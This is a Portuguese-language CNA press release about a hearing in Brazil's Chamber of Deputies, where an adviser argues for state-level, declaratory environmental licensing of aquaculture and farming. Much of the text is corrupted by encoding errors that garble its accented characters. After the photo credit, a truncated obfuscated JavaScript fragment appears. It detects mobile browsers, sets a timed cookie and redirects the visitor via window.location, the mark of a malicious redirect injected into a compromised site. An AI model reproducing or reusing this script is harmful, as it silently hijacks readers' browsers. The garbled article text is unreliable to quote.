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O assessor tAi??cnicoAi??da ComissA?o Nacional de Meio Ambiente da ConfederaAi??A?o da Agricultura e PecuA?ria do Brasil (CNA), JoA?o Carlos de PetribA? DAi?? Carli Filho, defendeu, nesta terAi??a-feira (31/5), a revisA?o das normas de licenciamento ambiental nA?o sA? para a aquicultura, mas para todo o setor agropecuA?rio. Segundo ele, a legislaAi??A?o sobre o tema deve levar em conta as peculiaridades de cada estado e dos biomas brasileiros. No entanto, hoje, alAi??m da complexidade das leis, que trazem inseguranAi??a jurAi??dica para o produtor, hA? regras gerais para o paAi??s inteiro.

DAi?? Carli participou de audiA?ncia pA?blica na ComissA?o de Agricultura, PecuA?ria, Abastecimento e Desenvolvimento Rural (CAPADR) da CA?mara dos Deputados, que reuniu representantes do setor privado e do governo para discutir a prA?tica da aquicultura em A?guas da UniA?o. ai???O licenciamento ambiental virou, junto com a falta de crAi??dito, um problema para o produtor rural. Uma coisa que veio para tentar solucionar virou um problemaai???, afirmou. ai???Hoje, as regras para a atividade agropecuA?ria sA?o as mesmas para outros setores produtivos, onde tudo foi jogado dentro do mesmo sacoai???, completou.

Um dos pontos cruciais, nA?o apenas para a aquicultura, mas para toda a atividade agropecuA?ria, Ai?? a competA?ncia para fazer o licenciamento. Ele defendeu, juntamente com representantes do setor aquAi??cola, que o licenciamento seja feito pelos estados de forma declaratA?ria, na qual a unidade federativa informa previamente os locais aptos para receber a atividade e tambAi??m as exigA?ncias mAi??nimas de infraestrutura necessA?ria para que se diminua o impacto da atividade.

Explicou, tambAi??m, que um dos critAi??rios para pedir o licenciamento que estA? sendo discutido agora no Conselho Nacional do Meio Ambiente (CONAMA) Ai?? o nA?mero de animais. ai???Ter 500 bois em Alagoas nA?o Ai?? o mesmo que ter 500 bois em Mato Grosso. Assim como produzir tilA?pias e pirarucusai???, justificou. Sem falar na burocracia para liberar a licenAi??a ambiental, que pode durar vA?rios anos.

Outro tema levantado pelo representante da CNA foi a falta de pessoal para analisar o licenciamento. ai???Na maioria dos estados, o mesmo tAi??cnico que analisa o licenciamento de uma atividade agropecuA?ria Ai?? o mesmo para analisar o CAR (Cadastro Ambiental Rural), o Programa de RegularizaAi??A?o Ambiental (PRA), ou o licenciamento de um posto de gasolina, de uma hidrovia ou ferrovia. Ou seja, a quantidade de pessoas para nos ajudar Ai?? mAi??nimaai???, ressaltou.

Assessoria de ComunicaAi??A?o CNA

Fotos: Tony Oliveira |to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}